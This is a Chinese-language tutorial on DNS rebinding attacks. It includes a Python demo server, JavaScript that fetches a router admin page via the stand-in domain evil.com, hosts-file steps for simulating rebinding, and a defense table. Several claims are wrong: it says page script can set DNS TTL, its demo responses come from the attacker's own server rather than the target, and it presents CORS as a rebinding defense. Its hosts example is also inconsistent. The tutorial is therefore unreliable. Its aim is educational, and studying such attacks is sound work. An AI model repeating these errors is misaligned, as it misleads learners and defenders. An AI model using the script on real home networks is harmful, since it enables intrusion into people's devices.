各位观众老爷们,大家好!我是今天的主讲人,咱们今天聊点刺激的——JavaScript 中的 DNS Rebinding 攻击,特别是它在本地网络里搞事情的那点事儿。这玩意儿听起来玄乎,实际上原理简单粗暴,关键是能让你明白“内网安全”这四个字不是闹着玩的。
准备好了吗? Let’s dive in!
一、啥是 DNS Rebinding?别慌,没那么难
DNS Rebinding,顾名思义,就是“DNS 重新绑定”。 简单来说,就是利用 DNS 服务器的缓存机制和浏览器的同源策略(Same-Origin Policy, SOP)的漏洞,让你的浏览器先访问一个你以为可信的域名,然后 DNS 偷偷地把这个域名指向了内网的 IP 地址,从而让你的浏览器在不知情的情况下访问了内网的服务。
想象一下,你兴高采烈地打开一个网页 evil.com
,一切正常。但实际上,这个 evil.com
在你第一次访问时指向的是一个公网服务器,这个公网服务器偷偷地在后台干了一些事情(比如设置了一个很短的 DNS TTL),然后等你再次访问 evil.com
的时候,它指向的就变成了你家路由器的 IP 地址 192.168.1.1
。
浏览器呢?它以为自己还是在访问 evil.com
,所以安全策略允许它发送各种请求。但实际上,这些请求全都打到了你的路由器上。 这样,攻击者就能控制你的路由器,或者访问你内网的其他设备了。
二、攻击流程:一步一步攻破你的内网
整个攻击流程大概是这样的:
- 受害者访问恶意网站: 攻击者诱骗受害者访问一个精心构造的网站,比如
evil.com
。 - 第一次 DNS 解析: 浏览器向 DNS 服务器请求
evil.com
的 IP 地址。DNS 服务器返回一个公网 IP 地址,比如1.2.3.4
。 - 恶意网站返回恶意 JavaScript 代码: 浏览器加载
evil.com
的网页,网页中包含恶意的 JavaScript 代码。 - 设置短 TTL: 恶意 JavaScript 代码会设置一个很短的 DNS TTL (Time To Live),比如 0 秒或者 1 秒。TTL 决定了 DNS 记录在 DNS 服务器和浏览器中缓存的时间。
- 再次 DNS 解析: 恶意 JavaScript 代码会强制浏览器再次请求
evil.com
的 IP 地址。由于 TTL 很短,浏览器会重新向 DNS 服务器发起请求。 - 第二次 DNS 解析: 这次,DNS 服务器返回一个内网 IP 地址,比如
192.168.1.1
(你家路由器的地址)。 - 浏览器访问内网: 浏览器以为自己还在访问
evil.com
,但实际上,它访问的是192.168.1.1
。由于同源策略的限制被绕过,恶意 JavaScript 代码可以向192.168.1.1
发送任意请求。 - 攻击成功: 攻击者控制了你的路由器或者访问了你内网的其他服务。
三、代码实战:模拟一次 DNS Rebinding 攻击
为了更好地理解 DNS Rebinding 攻击,我们来模拟一下。 这次我们用 Python 搭建一个简单的 Web 服务器,并编写一些 JavaScript 代码来模拟攻击过程。
1. Python Web 服务器 (server.py):
from http.server import BaseHTTPRequestHandler, HTTPServer
import time
import socket
import threading
# 内网 IP 地址 (替换成你想要攻击的目标)
TARGET_IP = "192.168.1.1" # 你的路由器地址
# 公网 IP 地址 (替换成你的服务器地址)
PUBLIC_IP = "1.2.3.4" # 你的公网服务器地址,随意填一个
# 恶意域名
EVIL_DOMAIN = "evil.com"
# 端口
PORT = 8000
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/":
# 第一次请求:返回包含恶意 JavaScript 代码的 HTML 页面
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
html_content = f"""
<!DOCTYPE html>
<html>
<head>
<title>Evil Website</title>
<script>
function exploit() {{
// 设置短 TTL, 强制浏览器重新解析 DNS
setTimeout(function() {{
fetch('//{EVIL_DOMAIN}/probe')
.then(response => response.text())
.then(data => {{
document.getElementById('result').innerText = 'Response from target: ' + data;
}})
.catch(error => {{
document.getElementById('result').innerText = 'Error: ' + error;
}});
}}, 1000); // 延迟 1 秒,给 DNS 足够的时间更新
}}
// 页面加载后立即执行
window.onload = exploit;
</script>
</head>
<body>
<h1>Welcome to Evil.com!</h1>
<p>Loading...</p>
<div id="result"></div>
</body>
</html>
"""
self.wfile.write(html_content.encode())
elif self.path == "/probe":
# 第二次请求:如果攻击成功,这里应该返回来自内网服务器的数据
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(b"Hello from the target!")
else:
self.send_response(404)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(b"Not Found")
def run_server():
server_address = ('', PORT)
httpd = HTTPServer(server_address, MyHandler)
print(f"Starting server on port {PORT}...")
httpd.serve_forever()
# 模拟 DNS 服务器 (简单起见,直接修改 hosts 文件)
def simulate_dns():
# 第一次解析: evil.com -> PUBLIC_IP
# 第二次解析: evil.com -> TARGET_IP (内网 IP)
print("Simulating DNS Rebinding...")
print(f"First resolution: {EVIL_DOMAIN} -> {PUBLIC_IP}")
print(f"Second resolution: {EVIL_DOMAIN} -> {TARGET_IP}")
print("Please manually modify your hosts file to simulate DNS rebinding.")
print("Example:")
print(f"127.0.0.1 {EVIL_DOMAIN}")
print("After 1 second, change it to:")
print(f"{TARGET_IP} {EVIL_DOMAIN}")
time.sleep(1) # 留给你修改 hosts 文件的时间
if __name__ == "__main__":
# 启动 Web 服务器
server_thread = threading.Thread(target=run_server)
server_thread.daemon = True
server_thread.start()
# 模拟 DNS 服务器
simulate_dns()
# Keep the main thread alive
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("Exiting...")
重要提示:
TARGET_IP
: 替换成你想要攻击的目标的内网 IP 地址,比如你的路由器地址。PUBLIC_IP
: 替换成你的服务器的公网 IP 地址。EVIL_DOMAIN
: 恶意域名。- Hosts 文件: 这个脚本会告诉你如何修改你的
hosts
文件来模拟 DNS 解析的过程。 这是关键! 你需要先将evil.com
指向PUBLIC_IP
,然后过一秒钟,再将它指向TARGET_IP
。hosts
文件的位置:- Windows:
C:WindowsSystem32driversetchosts
- Linux/macOS:
/etc/hosts
- Windows:
2. 运行服务器:
在命令行中运行 python server.py
。
3. 访问恶意网站:
在浏览器中访问 http://evil.com:8000/
。
4. 观察结果:
如果一切顺利,你应该会在页面上看到类似这样的结果:
- 第一次: 页面显示 "Loading…",然后会尝试获取来自内网服务器的数据。
- 第二次(修改 hosts 文件后): 页面显示 "Response from target: Hello from the target!"。 这说明你的浏览器成功地访问了内网服务器。
代码解释:
server.py
: 这是一个简单的 Python Web 服务器,它会返回一个包含恶意 JavaScript 代码的 HTML 页面。- JavaScript 代码: 这段代码首先设置一个短 TTL (通过让浏览器稍后重新请求
/probe
),然后强制浏览器重新解析evil.com
的 IP 地址。如果 DNS Rebinding 攻击成功,浏览器就会访问内网服务器,并显示来自内网服务器的响应。 simulate_dns()
函数: 这个函数会提示你如何修改你的hosts
文件来模拟 DNS 解析的过程。 这个函数实际上并没有真的修改 DNS 服务器,它只是告诉你如何手动修改hosts
文件。
四、攻击演示:获取路由器信息的例子
假设你的路由器有一个管理界面,可以通过 192.168.1.1
访问,并且不需要任何认证。 那么,攻击者可以通过 DNS Rebinding 攻击来获取你的路由器信息。
修改 server.py
,将 TARGET_IP
设置为你的路由器地址(例如 192.168.1.1
)。 然后,修改 JavaScript 代码,让它发送一个 GET 请求到路由器的管理界面,并获取返回的数据。
function exploit() {
setTimeout(function() {
fetch('//evil.com/admin') // 假设路由器管理界面是 /admin
.then(response => response.text())
.then(data => {
document.getElementById('result').innerText = 'Router Admin Page: ' + data;
})
.catch(error => {
document.getElementById('result').innerText = 'Error: ' + error;
});
}, 1000);
}
修改 server.py
中的 MyHandler
类,添加一个处理 /admin
请求的逻辑(为了简化,我们假设路由器不需要任何认证)。
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/":
# ... (之前的代码)
elif self.path == "/probe":
# ... (之前的代码)
elif self.path == "/admin":
# 模拟路由器管理界面
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
admin_page = """
<h1>Router Admin Page</h1>
<p>Firmware Version: 1.0</p>
<p>Serial Number: ABC123XYZ</p>
"""
self.wfile.write(admin_page.encode())
else:
self.send_response(404)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(b"Not Found")
重新运行 server.py
,并访问 http://evil.com:8000/
。 如果一切顺利,你将会在页面上看到路由器的管理界面信息。
五、防御策略:保护你的内网
知道了 DNS Rebinding 攻击的原理,我们就可以采取一些措施来防御它。
- 禁用路由器上的远程管理: 许多路由器允许从公网访问管理界面。 禁用这个功能可以大大降低 DNS Rebinding 攻击的风险。
- 使用最新的路由器固件: 路由器厂商通常会发布固件更新来修复安全漏洞。 确保你的路由器运行的是最新的固件。
- 为路由器设置强密码: 即使攻击者能够访问你的路由器,一个强密码也能阻止他们进行进一步的攻击。
- 使用 HTTPS: HTTPS 可以加密你的网络流量,防止攻击者窃取你的信息。
- 浏览器扩展: 有一些浏览器扩展可以检测和阻止 DNS Rebinding 攻击。
- SameSite Cookie 属性: 如果你的 Web 应用使用了 Cookie,可以设置
SameSite
属性来限制 Cookie 的跨域访问。 - 检查
Host
头部:服务器端验证Host
头部,确保请求确实来自预期的域名。 - 公网域名绑定内网 IP 的检测:扫描公网 DNS 记录,避免将公网域名绑定到内网 IP 地址。
- HTTP 公钥固定 (HTTP Public Key Pinning, HPKP):尽管 HPKP 已被弃用,但了解其原理有助于理解如何防止中间人攻击。
防御措施 | 描述 | 难度 | 效果 |
---|---|---|---|
禁用远程管理 | 阻止从公网访问路由器管理界面 | 低 | 高 |
更新路由器固件 | 修复安全漏洞 | 中 | 高 |
设置强密码 | 阻止未经授权的访问 | 低 | 中 |
使用 HTTPS | 加密网络流量 | 中 | 中 |
浏览器扩展 | 检测和阻止 DNS Rebinding 攻击 | 低 | 中 |
SameSite Cookie 属性 | 限制 Cookie 的跨域访问 | 中 | 中 |
检查 Host 头部 | 服务器端验证 Host 头部,确保请求来自预期的域名 | 中 | 中 |
公网域名绑定内网 IP 检测 | 扫描公网 DNS 记录,避免将公网域名绑定到内网 IP 地址。 | 高 | 中 |
六、高级防御:深入理解浏览器的同源策略
同源策略是浏览器安全的核心。 简单来说,同源策略限制了来自不同源的文档或脚本之间的交互。
什么是“源”?
源由协议、域名和端口号组成。 只有当两个页面的协议、域名和端口号都相同时,它们才被认为是同源的。
URL | 协议 | 域名 | 端口号 | 是否同源于 http://example.com |
---|---|---|---|---|
http://example.com |
http | example.com | 80 | 是 |
https://example.com |
https | example.com | 443 | 否 (协议不同) |
http://example.com:8080 |
http | example.com | 8080 | 否 (端口号不同) |
http://www.example.com |
http | www.example.com | 80 | 否 (域名不同) |
http://evil.com |
http | evil.com | 80 | 否 (域名不同) |
同源策略的限制:
- Cookie、LocalStorage 和 IndexDB 访问: 只能访问同源的 Cookie、LocalStorage 和 IndexDB 数据。
- DOM 访问: 不能访问不同源的 DOM 元素。
- XMLHttpRequest (XHR): 不能向不同源的地址发送 XHR 请求 (CORS 除外)。
CORS (跨域资源共享):
CORS 是一种机制,允许服务器声明哪些源可以访问它的资源。 通过设置 HTTP 响应头 Access-Control-Allow-Origin
,服务器可以允许特定的源或者所有源 (使用 *
) 访问它的资源。
如何利用 CORS 防御 DNS Rebinding:
如果你的 Web 应用需要访问内网资源,可以配置 CORS,只允许特定的公网域名访问这些资源。 这样,即使攻击者通过 DNS Rebinding 攻击控制了你的浏览器,他们也无法访问内网资源,因为他们的请求不符合 CORS 策略。
七、总结:安全无小事
DNS Rebinding 攻击虽然原理简单,但危害不容小觑。 通过了解其原理和防御策略,我们可以更好地保护我们的内网安全。记住,安全不是一蹴而就的,需要我们不断学习和实践。
好了,今天的讲座就到这里。 希望大家都能成为安全领域的专家! 如果有什么问题,欢迎随时提问。 下次再见!